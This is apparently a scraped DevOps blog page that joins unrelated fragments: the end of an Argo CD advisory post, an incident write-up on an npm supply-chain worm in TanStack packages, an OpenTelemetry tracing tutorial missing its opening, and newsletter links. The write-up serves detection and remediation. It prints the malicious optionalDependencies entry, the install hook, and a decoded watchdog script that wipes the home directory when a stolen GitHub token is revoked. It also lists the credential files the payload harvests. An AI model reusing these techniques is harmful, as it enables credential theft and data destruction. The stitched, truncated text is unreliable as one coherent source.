Treat the next "low-severity read-only information disclosure" advisory from the project the same way you would treat a privilege-escalation one, because the read-only/privilege-escalation distinction has so far been a coin flip.

Sources

• GHSA: github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3
• NVD: nvd.nist.gov/vuln/detail/CVE-2026-42880
• Argo CD v3.3.9: github.com/argoproj/argo-cd/releases/tag/v3.3.9
• Argo CD v3.2.11: github.com/argoproj/argo-cd/releases/tag/v3.2.11
• Diff strategies docs (annotation syntax): argo-cd.readthedocs.io/en/stable/user-guide/diff-strategies
• Built-in RBAC policy source: github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv
• Prior pattern, CVE-2025-55190: github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff

Patch, then audit your RBAC. The annotation is the smoking gun. The RBAC default is the loaded weapon.

On May 11, 2026, at around 19:20 UTC, two new versions of @tanstack/react-router appeared on npm. They were signed with valid SLSA provenance, published through the project's existing GitHub Actions OIDC trusted-publisher binding, and showed up as latest within minutes. By the end of the day, 14+ official TanStack packages were on the list, the worm had already propagated to 200+ downstream packages, and one detail in the payload was making people delete their npm caches with shaky hands: if you revoke the stolen GitHub token, a background process polling api.github.com sees the 401 and runs rm -rf ~/.

This post walks through what the attack did, why your normal incident-response reflex (revoke the leaked token) is the exact thing it wants you to do, and the commands to run right now to confirm you are not infected.

TL;DR

• TanStack's npm publish workflow was compromised. The attacker published valid, SLSA-signed versions of @tanstack/react-router, @tanstack/react-start, @tanstack/router-core, @tanstack/history, and ~10 more official packages.
• The packages install fine and behave normally. They smuggle a 2.3 MB obfuscated router_init.js into each tarball and trigger it through a malicious optionalDependencies entry that points at an orphan commit in a forked GitHub repo.
• On install, the payload harvests AWS IMDS credentials, GCP metadata, Kubernetes service-account tokens, Vault tokens, GitHub tokens, SSH keys, and ~/.npmrc, then exfiltrates over Session/Oxen (a fully end-to-end encrypted messenger network with no centralized C2 to block).
• It also drops a dead-man's switch: a shell script registered as a systemd --user service on Linux or a LaunchAgent on macOS that polls api.github.com/user every 60 seconds with the stolen token. The moment that token starts returning HTTP 40x (because you revoked it), the script runs rm -rf ~/ and exits. There is a 24-hour TTL after which it gives up on its own.
• The worm also enumerates other packages each compromised maintainer owns (via registry.npmjs.org/-/v1/search?text=maintainer:) and republishes them with the same injection, which is how 200+ unrelated packages picked up the payload before takedown.
• If you ran npm install against affected versions, follow the detection commands below before revoking anything.

Prerequisites

• Familiarity with how npm runs lifecycle scripts on install
• Basic shell access to whichever machine ran npm install recently
• A GitHub Personal Access Token or fine-grained token if you want to assess your token blast radius

What got compromised

Per the GitHub issue thread and the post-mortem at tanstack.com/blog/npm-supply-chain-compromise-postmortem, the confirmed-bad versions are:

Bad versions were live from roughly 19:20 UTC to npm takedown. The worm also republished 200+ packages owned by other maintainers it touched. Socket maintains a running list at socket.dev/supply-chain-attacks/mini-shai-hulud.

@tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, and @tanstack/store were not affected.

The trick: optionalDependencies pointing at a hidden orphan commit

The packages themselves look normal. The malicious code is loaded by a single line in package.json:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

When you run npm install, npm resolves that git dependency by fetching the tanstack/router repo at commit 79ac49ee. That commit is an orphan pushed to a fork specifically so it does not appear in the default branch history. Because npm treats git dependencies as "build from source," it pulls down the commit's declared dependencies (including bun) and runs the prepare lifecycle script:

"scripts": {
  "prepare": "bun run tanstack_runner.js  && exit 1"
}

The && exit 1 is the clever bit. It makes the optional install fail, so npm silently discards @tanstack/setup from the dependency tree and produces no error in the install output. But bun run tanstack_runner.js already ran. tanstack_runner.js then loads the real payload, router_init.js, a 2.3 MB obfuscated file that the attacker smuggled into the tarball at the package root. The file is not listed in the package's "files" array and nothing else references it, so it would not appear in a casual code review of the package source.

This is what npm pack shows on a confirmed-bad version:

npm pack @tanstack/history@1.161.12   # does NOT run install scripts
tar -xzf *.tgz
cat package/package.json | grep -A3 optionalDependencies
ls -la package/router_init.js

If router_init.js exists and the optionalDependencies entry points at a tanstack/router#<sha> git ref, that copy is malicious.

What the payload actually does

On a successful install, router_init.js runs three workloads:

1. Credential harvest. It walks the standard cloud and developer credential locations: AWS IMDS (169.254.169.254) and Secrets Manager, GCP instance metadata, Kubernetes service-account tokens (/var/run/secrets/kubernetes.io/serviceaccount/token), Vault tokens, ~/.npmrc, GitHub tokens (from ~/.config/gh/hosts.yml and env), and SSH private keys under ~/.ssh.
2. Exfiltration over Session. The harvested data is uploaded to file endpoints on the Session/Oxen messenger network: filev2.getsession.org, seed{1,2,3}.getsession.org. Session is an end-to-end encrypted dead-drop with no central server the defender can sinkhole, so traditional IOC blocklists do not help here.
3. Self-propagation. It queries https://registry.npmjs.org/-/v1/search?text=maintainer:<victim> to enumerate every package the compromised maintainer owns, then republishes each one with the same optionalDependencies injection and the same router_init.js smuggled into the tarball. This is the worm part: every infected maintainer becomes a new vector. Socket counts 200+ packages this way as of writing.

This is roughly what makes the incident structurally different from event-stream or colors.js. There is no shady contributor to spot in the PR history. There is no missing 2FA. The compromise happened in the publish pipeline itself, the cryptographic provenance proves the tarball came from the project, and the malicious code does not appear in the package's source tree because it is fetched at install time from a fork.

The dead-man's switch

This is the part of the payload most defenders are not used to thinking about. Before exfiltrating credentials, the script installs a watchdog:

• On Linux, a systemd --user service under ~/.config/systemd/user/ that runs ~/.local/bin/gh-token-monitor.sh.
• On macOS, a LaunchAgent named com.user.gh-token-monitor under ~/Library/LaunchAgents/.

The script polls the GitHub API every 60 seconds. If the response status starts returning 40x, the handler runs and the script exits.

The decoded script (extracted from the obfuscated router_init.js payload, thanks to lmt-swallow on the issue thread):

#!/usr/bin/env bash
set -euo pipefail

CONFIG_DIR="${HOME}/.config/gh-token-monitor"
GITHUB_TOKEN="$(cat "${CONFIG_DIR}/token")"
HANDLER="$(cat "${CONFIG_DIR}/handler")"
STARTED_FILE="${CONFIG_DIR}/started_at"

MAX_TTL=86400        # 24 hours
CHECK_INTERVAL=60    # poll every minute

if [[ ! -f "$STARTED_FILE" ]]; then
  date +%s > "$STARTED_FILE"
fi
START_TIME=$(cat "$STARTED_FILE")

while true; do
  ELAPSED=$(( $(date +%s) - START_TIME ))

  if [[ $ELAPSED -ge $MAX_TTL ]]; then
    # 24h reached, give up cleanly so we are not a long-term footprint
    rm -f "$STARTED_FILE"
    exit 0
  fi

  HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer ${GITHUB_TOKEN}" \
    -H "Accept: application/vnd.github+json" \
    "https://api.github.com/user") || true

  if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
    # Token was revoked. Trigger the handler (rm -rf ~/) and exit.
    eval "$HANDLER"
    rm -f "$STARTED_FILE"
    exit 0
  fi

  sleep $CHECK_INTERVAL
done

The handler stored in ${CONFIG_DIR}/handler is rm -rf "$HOME" (or equivalent, since implementations vary by victim build of the payload). The 24-hour TTL is interesting: after 24 hours the script exits on its own, which means there is a narrow window for this to fire. If you are reading this more than a day after the May 11 release window, the dead-man's switch on a previously infected machine has likely already disarmed itself, but the credential exfiltration and any other persistence mechanisms are still in place.

The takeaway for the operational response is uncomfortable but real: do not start by revoking the GitHub token. First check whether the machine that ran npm install is infected, then disarm the watchdog (delete the systemd user service, the launch agent, and the script), then revoke. If you revoke first on a machine where the watchdog is still running, the next poll within 60 seconds runs rm -rf $HOME.

How to check your machine

Run these on any developer workstation or CI runner that installed an affected version on or after May 11, 2026, 19:20 UTC:

# Files the payload drops
find ~ -path '*/.claude/setup.mjs' -o -path '*/.vscode/setup.mjs' 2>/dev/null
find ~/.config -name '*gh-token-monitor*' 2>/dev/null
find ~/.local/bin -name 'gh-token-monitor.sh' 2>/dev/null
find /tmp -name 'tmp.ts018051808.lock' 2>/dev/null

# Running processes
ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun' | grep -v grep

On Linux, also check the systemd user unit:

systemctl --user list-unit-files | grep -i gh-token
systemctl --user status gh-token-monitor.service 2>/dev/null

On macOS, also check LaunchAgents:

launchctl list | grep -i gh-token-monitor
ls -la ~/Library/LaunchAgents/ | grep -i gh-token-monitor

And look directly at the tarballs in your npm cache for the smuggled router_init.js:

find ~/.npm/_cacache -name 'tanstack-*.tgz' -exec sh -c '
  for f; do
    if tar -tzf "$f" 2>/dev/null | grep -q "package/router_init.js"; then
      echo "INFECTED: $f"
    fi
  done
' _ {} +

If any of the above returns a hit, treat the machine as compromised and follow the response below before touching tokens.

Response, in order

1. Disarm the watchdog before revoking tokens. Stop the service, delete the script, kill any hanging gh-token-monitor or bun tanstack_runner processes.

   Linux:

   systemctl --user stop gh-token-monitor.service 2>/dev/null
   systemctl --user disable gh-token-monitor.service 2>/dev/null
   rm -f ~/.config/systemd/user/gh-token-monitor.service
   rm -f ~/.local/bin/gh-token-monitor.sh
   rm -rf ~/.config/gh-token-monitor
   systemctl --user daemon-reload
   pkill -f gh-token-monitor || true
   pkill -f tanstack_runner || true
   

   macOS:

   launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
   rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
   rm -f ~/.local/bin/gh-token-monitor.sh
   rm -rf ~/.config/gh-token-monitor
   pkill -f gh-token-monitor || true
   pkill -f tanstack_runner || true
   

2. Pin lockfiles back to a known-good version range, delete node_modules and package-lock.json / bun.lock / yarn.lock, reinstall from scratch on a clean machine.

3. Rotate everything the payload could have touched after you have disarmed the watchdog: GitHub tokens (PATs and OAuth app installs), npm tokens, AWS access keys, GCP service-account keys, Vault tokens, SSH keys, ~/.npmrc auth lines. If a CI runner installed an affected version, rotate that runner's IAM role too because the payload pulls IMDS credentials from inside the runner.

4. Check your npm publish history. If you maintain other packages on the same machine, the worm may have already republished them. Look at recent publish events on npmjs.com/~<your-user> for tarballs you did not push.

5. Audit GitHub Actions logs for any workflow runs that exported the NODE_AUTH_TOKEN or npm_token environment in the last 24 hours. If your publish workflow runs on pull_request from forks, treat the entire publish pipeline as suspect.

Why SLSA provenance and 2FA did not help

The TanStack team had:

• Two-factor authentication on every maintainer account.
• npm trusted-publisher binding via GitHub Actions OIDC, so npm tokens never live on a maintainer machine.
• SLSA build provenance on every published tarball.

The malicious versions had all three. They were signed by the real publishing workflow, OIDC-bound to the real GitHub repo, and the provenance cryptographically proves they came out of the TanStack CI environment. To npm and to anyone verifying provenance, the bad versions look 100% legitimate, because in a strict sense they are: they came from the project's own pipeline. The compromise was earlier in the chain. A workflow file was modified to publish what the attacker wanted, OIDC then minted the publish token, and the audit trail records a clean release.

SLSA provenance answers "did this artifact come from this build pipeline?" It does not answer "did this build pipeline only run code its maintainers wrote?" That gap is exactly where this attack lives, and the difference between this and prior npm worm incidents is that the payload now includes the destructive watchdog, not just credential theft.

Hardening for next time

        Source                Build                Publish
          │                     │                      │
          ▼                     ▼                      ▼
   ┌────────────┐        ┌────────────┐       ┌─────────────┐
   │  Reviewed  │  ───▶  │   CI in    │  ──▶  │ npm registry│
   │   commits  │        │  sandbox   │       │ (SLSA proof)│
   └────────────┘        └────────────┘       └─────────────┘
        ▲                     ▲                      ▲
        │                     │                      │
    branch              isolated runners        publish workflow
    protection +        + pinned action SHAs    on `release`  
    required reviews    + no `pull_request`     events only,
                        from forks               not on `push`

The two anti-patterns that matter most for maintainers, because they are the actual entry point in this incident and several recent npm compromises:

• Do not use pull_request_target for workflows that touch publish secrets. Unlike plain pull_request, pull_request_target runs in the context of the base branch with full secret access, but checks out the attacker-controlled head SHA. An attacker can open a PR that modifies a workflow file or a build script, the workflow runs with secrets, and you have shipped your npm token to them. If you need fork CI, split into two workflows: a no-secret pull_request build for the fork content, and a separate secret-using workflow that only triggers on release or merged commits in the upstream repo.
• Do not share caches between PR builds and publish jobs. A poisoned ~/.npm or node_modules cache from a fork PR run will be restored by the next publish run if both jobs use the same actions/cache key (or the default actions/setup-node cache). That is the path from "attacker opens a draft PR" to "attacker's code runs at publish time," and it is exactly what the TanStack post-mortem identified as the entry point. Use different cache keys, or skip the cache on publish workflows entirely.

Other concrete actions:

• Pin every third-party GitHub Action to a commit SHA, not a tag. Tag references are mutable. The TanStack post-mortem confirms this was part of the hardening they shipped after the incident.
• Use npm ci with --ignore-scripts in CI for anything that does not actually need lifecycle scripts. Library builds usually do not.
• Adopt dependency cooldowns. The malicious window was open for hours. Tools like Renovate, Dependabot grouping, or socket.dev's package cooldown rules can hold new versions for 24-72 hours before letting them into your repo, which is enough time for a community-driven detection like this one to land.
• Audit optionalDependencies specifically. The clever trick in this attack is that the malicious dependency is technically optional, so its failure does not break installs and does not show up in normal install logs. npm install --dry-run against a confirmed-bad version still shows the tanstack/router#<sha> reference, which is the cleanest signal.
• Treat your OIDC trust binding as a high-value secret. Rotating npm tokens does nothing if the workflow itself is what republishes packages. The TanStack team's post-mortem explicitly notes this: until the OIDC binding was revoked, the worm could keep publishing.

What we are watching

A few open threads as of May 12 morning:

• npm's takedown timing. Carlini's report went in within minutes of the publish. The malicious versions were installable for several hours afterward. Socket's tracker has the cleanest view of the per-package timeline.
• Whether the same workflow-injection technique is being reused against other large npm orgs in the next 24 hours. The Nx incident in 2025 saw copy-cat attacks within days.
• Long-term persistence. The 24-hour TTL on the dead-man's switch suggests the attacker did not want a long footprint. Other persistence mechanisms reported in the GitHub thread (*/.claude/setup.mjs, */.vscode/setup.mjs) have not been fully analyzed yet at time of writing.

Sources

• TanStack GitHub issue with the full technical thread: TanStack/router#7383
• TanStack post-mortem: tanstack.com/blog/npm-supply-chain-compromise-postmortem
• Nicholas Carlini's initial fingerprint and package list: issue comment
• Decoded gh-token-monitor.sh script: issue comment from lmt-swallow
• Socket running tracker: socket.dev/supply-chain-attacks/mini-shai-hulud
• StepSecurity write-up: stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem
• Earlier tweet thread with the dead-man's switch detail: @intcyberdigest on X

Run the detection commands. Disarm before you revoke.

Now you have a problem. The 4 seconds happened somewhere between the gateway and the order service, but you have five services, two message queues, and a Redis cache in that path. Logs alone will not save you here.

This is what distributed tracing fixes. Instead of stitching together unrelated log lines, you get one timeline that follows a single request through every service it touches. OpenTelemetry is the vendor-neutral way to produce those traces. This post walks through instrumenting a Python service, running the OpenTelemetry Collector, and getting traces into Jaeger so you can actually see where the time went.

TLDR

• Install the OpenTelemetry SDK and auto-instrumentation for your framework.
• Set OTEL_EXPORTER_OTLP_ENDPOINT to point at a Collector.
• Run the Collector with an OTLP receiver and a Jaeger or Tempo exporter.
• Open Jaeger, find the trace, and read the timeline. The fat span is the problem.

Prerequisites

• Python 3.10+ or Node.js 18+ (the examples use Python with Flask, the concepts translate)
• Docker and Docker Compose
• A basic microservice you can poke at, or follow along with the demo below
• Port 4317 (OTLP gRPC), 4318 (OTLP HTTP), and 16686 (Jaeger UI) free locally

What a Trace Actually Is

A trace is a tree of spans. A span is one unit of work with a start time, duration, attributes, and a parent. Every span in a trace shares a trace ID. The root span is the first thing that received the request. Every child span sits underneath it.

Trace abc123 (4.2s)
├── gateway: POST /checkout         [4.2s]
│   ├── auth: validate-token        [12ms]
│   └── orders: create-order        [4.1s]   <-- where the time went
│       ├── db: INSERT orders       [8ms]
│       └── payments: charge-card   [4.0s]   <-- and here
│           └── http: stripe API    [3.9s]   <-- the real culprit

That right column is what you need. Logs cannot tell you that 3.9 seconds of a 4.2-second request was waiting on the Stripe API. A trace can.

Step 1: Instrument a Python Service

Start with a Flask service that calls a downstream service. Install the SDK plus the auto-instrumentations:

pip install opentelemetry-distro \
            opentelemetry-exporter-otlp \
            opentelemetry-instrumentation-flask \
            opentelemetry-instrumentation-requests

opentelemetry-bootstrap -a install

The opentelemetry-bootstrap command scans your installed packages and pulls in matching instrumentations. If you have psycopg2 or redis-py installed, it installs those instrumentations too.

Here is the service. It is deliberately small so you can see what is going on:

# app.py
from flask import Flask, jsonify
import requests
from opentelemetry import trace

app = Flask(__name__)
tracer = trace.get_tracer(__name__)

@app.route("/checkout")
def checkout():
    with tracer.start_as_current_span("validate-cart") as span:
        span.set_attribute("cart.items", 3)
        # pretend work
        total = 42.00

    with tracer.start_as_current_span("charge"):
        r = requests.post(
            "http://payments:8000/charge",
            json={"amount": total},
            timeout=5,
        )
        r.raise_for_status()

    return jsonify(status="ok", total=total)

You did not write any tracer setup. Flask and the requests library are auto-instrumented, so the HTTP entry point and the outbound HTTP call already create spans. The two manual spans add business context (validate-cart, charge) so the timeline reads in your language, not the framework's.

Run it with the OpenTelemetry wrapper:

export OTEL_SERVICE_NAME=checkout-service
export OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
export OTEL_TRACES_EXPORTER=otlp

opentelemetry-instrument flask run --port 8000

OTEL_SERVICE_NAME is the one variable people forget. Without it, every service shows up as unknown_service in Jaeger and your traces look like spaghetti.

Step 2: Run the OpenTelemetry Collector

You could send traces directly from the app to Jaeger. Do not do that in any environment you care about. The Collector sits between your apps and your backend and gives you:

• A single place to swap backends without redeploying apps
• Batching and retry, so a backend outage does not crash your app
• Sampling, so you do not pay to store every trace
• Attribute filtering, so PII does not leak into your tracing backend

Here is a Collector config that accepts OTLP and exports to Jaeger:

# otel-collector-config.yaml
receivers:
  otlp:
    protocols:
      grpc:
        endpoint: 0.0.0.0:4317
      http:
        endpoint: 0.0.0.0:4318

processors:
  batch:
    timeout: 1s
    send_batch_size: 1024
  memory_limiter:
    check_interval: 1s
    limit_mib: 512

exporters:
  otlp/jaeger:
    endpoint: jaeger:4317
    tls:
      insecure: true
  debug:
    verbosity: basic

service:
  pipelines:
    traces:
      receivers: [otlp]
      processors: [memory_limiter, batch]
      exporters: [otlp/jaeger, debug]

The memory_limiter processor matters. Without it, a traffic spike on a slow backend will OOM your Collector and you lose every span in flight.

Step 3: A Compose File That Ties It Together

# docker-compose.yml
services:
  jaeger:
    image: jaegertracing/all-in-one:1.62
    ports:
      - "16686:16686"   # UI
      - "4317"          # OTLP gRPC (internal)
    environment:
      - COLLECTOR_OTLP_ENABLED=true

  otel-collector:
    image: otel/opentelemetry-collector-contrib:0.113.0
    command: ["--config=/etc/otel-config.yaml"]
    volumes:
      - ./otel-collector-config.yaml:/etc/otel-config.yaml
    ports:
      - "4317:4317"
      - "4318:4318"
    depends_on:
      - jaeger

  checkout:
    build: ./checkout
    environment:
      - OTEL_SERVICE_NAME=checkout-service
      - OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317
    ports:
      - "8000:8000"
    depends_on:
      - otel-collector

  payments:
    build: ./payments
    environment:
      - OTEL_SERVICE_NAME=payments-service
      - OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317
    depends_on:
      - otel-collector

Bring it up and hit the endpoint:

docker compose up -d
curl -X POST http://localhost:8000/checkout

In the Collector logs you should see something like:

2026-05-11T09:14:22.117Z  info  TracesExporter  {"kind": "exporter",
  "data_type": "traces", "name": "otlp/jaeger", "resource spans": 1,
  "spans": 4}

Four spans for one request: the Flask entry, the two manual spans (validate-cart, charge), and the outbound requests call. Open http://localhost:16686, pick checkout-service, and the trace is there.

Step 4: Reading the Trace

This is the part nobody teaches and it is the only part that matters. A trace view in Jaeger looks like a waterfall. Each row is a span. The bar's width is duration. The bar's position is when it started.

When you open a slow trace, look for:

1. The fattest bar that has no children. That is a leaf operation that took real time. Usually a database query, an HTTP call, or a sleep.
2. Gaps. A 200ms span where nothing visible is happening means you have uninstrumented code. Add a manual span there.
3. Sequential spans that could be parallel. Three 100ms calls in a row are 300ms. The same three calls in parallel are 100ms.
4. Spans with a red icon. That is status_code=ERROR. Click and read the exception.message attribute.

If the slow span is an HTTP call, the trace will usually include the downstream service's spans too, because trace context propagates through HTTP headers. If it does not, you have a propagation problem. Check that both services share the same Collector and that the client side library (here, requests) is auto-instrumented.

Sampling: You Cannot Keep Everything

At any non-trivial scale, you cannot store every trace. The default is to sample everything in dev and use tail-based sampling in prod. Tail-based sampling decides whether to keep a trace after it finishes, so you can keep the slow ones and the error ones and drop the boring ones.

The Collector ships a tail sampling processor:

processors:
  tail_sampling:
    decision_wait: 10s
    policies:
      - name: errors
        type: status_code
        status_code:
          status_codes: [ERROR]
      - name: slow-requests
        type: latency
        latency:
          threshold_ms: 1000
      - name: baseline
        type: probabilistic
        probabilistic:
          sampling_percentage: 1

This keeps every error, every request slower than one second, and a 1% sample of the rest. That gives you enough volume to spot patterns without buying a second house for your observability vendor.

Wire it into the pipeline:

service:
  pipelines:
    traces:
      receivers: [otlp]
      processors: [memory_limiter, tail_sampling, batch]
      exporters: [otlp/jaeger]

Things That Will Bite You

A few real-world snags worth knowing before you hit them in production:

• Context not propagating across queues. Kafka, RabbitMQ, and SQS need extra work. The instrumentation libraries inject trace context into message headers, but only if both producer and consumer are instrumented and the broker preserves headers. Old SQS clients silently drop them.
• Async code in Python. If you use asyncio and your spans look detached from their parent, you are probably starting spans outside the active context. Use tracer.start_as_current_span inside the coroutine, not before awaiting it.
• Cardinality on attributes. Do not put a user ID or a full URL with query string as a span attribute. Use the route template (/users/{id}) instead. High-cardinality attributes blow up the backend's index.
• Clock skew between hosts. If a child span starts before its parent according to timestamps, that is clock drift, not a bug. Run NTP.

Next Steps

Now that you have one service traced, here is what to do next, in order:

1. Instrument the next service in the same request path. Tracing is most useful when more than one service emits spans for the same request. Two is better than one. Five is better than two.
2. Add manual spans for business logic. Auto-instrumentation gives you HTTP and DB spans. Add spans named after what the code actually does (apply-discount, reserve-inventory). Those are the names you will search for at 3 AM.
3. Set up alerts on trace data. Most backends can alert on p95(duration) > 2s for route=/checkout. That is far more useful than CPU alerts.
4. Add resource attributes. deployment.environment, service.version, and k8s.pod.name make traces useful for incident response. Set them via OTEL_RESOURCE_ATTRIBUTES.
5. Pick a long-term backend. Jaeger all-in-one is great for local. For production, look at Tempo, Honeycomb, or a managed Jaeger. The Collector config stays the same. You only swap the exporter.

The moment you have two services in one trace and you can see exactly where the latency lives, the value of distributed tracing clicks. Before that, it feels like a chore. After that, you will not go back.

📌 Handpicked by DevOps Daily - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 How to get engineering time back from Kubernetes upgrades

Kubernetes powers your products, but with that power and flexibility comes organizational challenges around managing complexity and maintenance. It can be tough for an organization to keep up with the

📅 May 11, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Breaking Free: A Step-by-Step Guide to Migrating from Red Hat OpenShift to SUSE Rancher Prime

The enterprise container market is hitting a turning point. For years, Red Hat OpenShift was the choice for organizations wanting an all-in-one Kubernetes platform. However, the tide has turned as bus

📅 May 8, 2026 • 📰 SUSE Blog

🔗 Read more

📄 Kubernetes v1.36: Moving Volume Group Snapshots to GA

Volume group snapshots were introduced as an Alpha feature with the Kubernetes v1.27 release, moved to Beta in v1.32, and to a second Beta in v1.34. We are excited to announce that in the Kubernetes v

📅 May 8, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 With faster node startup for GKE, say goodbye to cold-start latency

We’ve rolled out a significant update to Google Kubernetes Engine (GKE) that solves one of the most annoying problems in cloud infrastructure: cold start latency. GKE now has up to 4x faster node star

📅 May 8, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Gradual deployments in Amazon ECS with linear and canary strategies

In this post, we walk through how linear and canary strategies work in Amazon ECS, how to configure each, and how to set up automatic rollbacks with CloudWatch alarms.

📅 May 8, 2026 • 📰 AWS Containers Blog

🔗 Read more

📄 Benchmarking AI agent retrieval strategies on Kubernetes bug fixes

I’ve been using AI coding agents as part of my daily engineering workflow and wanted to understand how well they actually perform on real-world bugs. To test this, I ran a series of structured experim

📅 May 8, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Create an Ingress with Basic Authentication for SUSE Storage Using Traefik

If you install SUSE Storage on a Kubernetes cluster with kubectl or Helm, you need to create an Ingress so external traffic can reach the SUSE Storage UI. Authentication is not enabled by default when

📅 May 8, 2026 • 📰 SUSE Blog

🔗 Read more

📄 GitOps with IBM Kubecost: Preventing Argo CD Rollbacks

Introduction Over-provisioned containers are one of the quietest budget leaks in Kubernetes. Pods requesting 512Mi of RAM but using 20Mi. CPU requests of 500m with actual consumption around 10m. Multi

📅 May 8, 2026 • 📰 Kubecost Blog

🔗 Read more

📄 Learn OpenShift Virtualization: 8 resources to help you get started

Red Hat OpenShift Virtualization, a native feature included with Red Hat OpenShift, lets you migrate your virtual machine (VM) workloads from your legacy virtualization platform to a modern, consisten

📅 May 8, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Kubernetes v1.36: More Drivers, New Features, and the Next Era of DRA

Dynamic Resource Allocation (DRA) has fundamentally changed how platform administrators handle hardware accelerators and specialized resources in Kubernetes. In the v1.36 release, DRA continues to mat

📅 May 7, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 GKE Turns 10 Hackathon, with Amie Wei

Amie Wei is a Sr. Solutions Engineer at HashiCorp and was the winner of last year's GKE Turns 10 Hackathon. It was Amie's first time entering a hackathon and she ended up bringing the prize home with

📅 May 7, 2026 • 📰 Kubernetes Podcast

🔗 Read more

📄 Virtualization at full speed ahead of Red Hat Summit 2026

If you're starting to rethink how you run virtualization workloads at your organization, you're not alone. Rising licensing costs, the pressure to apply AI, and a need to integrate services are inspir

📅 May 7, 2026 • 📰 OpenShift Blog

🔗 Read more

☁️ Cloud Native

📄 Comparing Different Approaches to Sandboxing

Whether you are a software engineer, a product manager, or a designer, this quote should fundamentally change how we approach our daily routine. We are no longer just building interfaces; we are creat

📅 May 7, 2026 • 📰 Docker Blog

🔗 Read more

📄 Microcks becomes a CNCF incubating project

The CNCF Technical Oversight Committee (TOC) has voted to accept Microcks as a CNCF incubating project. About Microcks Modern software teams build applications as collections of interconnected APIs an

📅 May 7, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Q1 2026: Harness CD & GitOps Product Update

Q1 2026 brings AI Verify for zero-config deployment health analysis, Azure Container Apps support, Windows deployment performance, and enhanced GitOps workflows to Harness CD. | Blog

📅 May 7, 2026 • 📰 Harness Blog

🔗 Read more

📄 The tools are ready. So why are most cloud native teams still running three observability stacks?

I’ve spent enough time in and around cloud native infrastructure to know that we’re reasonably good at standardizing the theory. OpenTelemetry for instrumentation, Prometheus for metrics, Jaeger and T

📅 May 6, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Zabbix and the Docker API, Part 3: Control

In this blog post, you will learn how to add a simple container remote control capability to Zabbix in order to start, stop, or restart containers from within the discovered host. You might be wonderi

📅 May 6, 2026 • 📰 Zabbix Blog

🔗 Read more

📄 Generate Images Locally with Docker Model Runner and Open WebUI

We've all been there: you need to generate a few images for a project, you fire up an AI image service, and suddenly you're wondering what happens to your prompts, how many credits you have left, or w

📅 May 5, 2026 • 📰 Docker Blog

🔗 Read more

📄 Precision Container Security with Docker and Black Duck

The complexity of modern containerized applications often leaves developers drowning in a sea of "noise"—vulnerabilities that exist in the file system but pose zero actual risk to the application. The

📅 May 5, 2026 • 📰 Docker Blog

🔗 Read more

🔄 CI/CD

📄 Ship code within minutes with the Gemini CLI DevOps Extension

With AI coding tools like Antigravity and Claude Code, I can build a working web app in record time. But deploying it? That's where I'd historically lose the rest of the afternoon to Dockerfiles, IAM

📅 May 8, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Why age assurance laws matter for developers

Youth safety requirements are moving down the tech stack to operating systems and app stores—raising new questions for open source developers. The post Why age assurance laws matter for developers app

📅 May 8, 2026 • 📰 GitHub Blog

🔗 Read more

📄 How researchers are using GitHub Innovation Graph data to reveal the “digital complexity” of nations

Researchers share in an interview how they used GitHub data to predict GDP, inequality, and emissions in ways that traditional economic data misses, along with our Q4 2025 data release. The post How r

📅 May 8, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Bringing new levels of security to the cloud-native frontier: Unified posture management and real-time protection

As enterprises scale their digital operations migrating to modern, cloud-native application platforms, security teams are consistently confronted with significant challenges. The dynamic and distribut

📅 May 8, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Improving token efficiency in GitHub Agentic Workflows

Agentic workflows that run on every pull request can quietly accumulate large API bills. Here's how we instrumented our own production workflows, found the inefficiencies, and built agents to fix them

📅 May 7, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Agent pull requests are everywhere. Here’s how to review them.

A practical guide to reviewing agent-generated pull requests: what to look for, where issues hide, and how to catch technical debt before it ships. The post Agent pull requests are everywhere. Here’s

📅 May 7, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Limit credential exposure with fine-grained personal access tokens

Personal access tokens (PATs) authenticate most of the automation that runs in GitLab. When a token is issued with a broad scope like api or read_api, it extends permissions across many projects and g

📅 May 7, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Automate deployment processes using a custom agent in GitLab Duo Agent Platform

Every engineering organization has those tasks: complex, repetitive, and time-consuming, but absolutely critical to get right. Onboarding a new microservice into an established GitOps deployment workf

📅 May 7, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Harness Release Orchestration: Enterprise Release Management

Harness Release Orchestration provides unified modeling, scheduling, and tracking for complex software releases. Eliminate spreadsheets, automate workflows, and maintain complete audit trails. | Blog

📅 May 7, 2026 • 📰 Harness Blog

🔗 Read more

📄 Q1 2026 Product Update: Harness Pipeline

Q1 2026 brings Git tags for immutable pipeline versions, AI-assisted OPA policy authoring, DAG execution Phase 2, and step-specific failure notifications to Harness Pipelines. | Blog

📅 May 7, 2026 • 📰 Harness Blog

🔗 Read more

📄 Securing CI/CD for an open source project: lessons from Cilium

📅 May 6, 2026 • 📰 Cilium Blog

🔗 Read more

📄 Claude Code and GitLab: Three workflows that ship

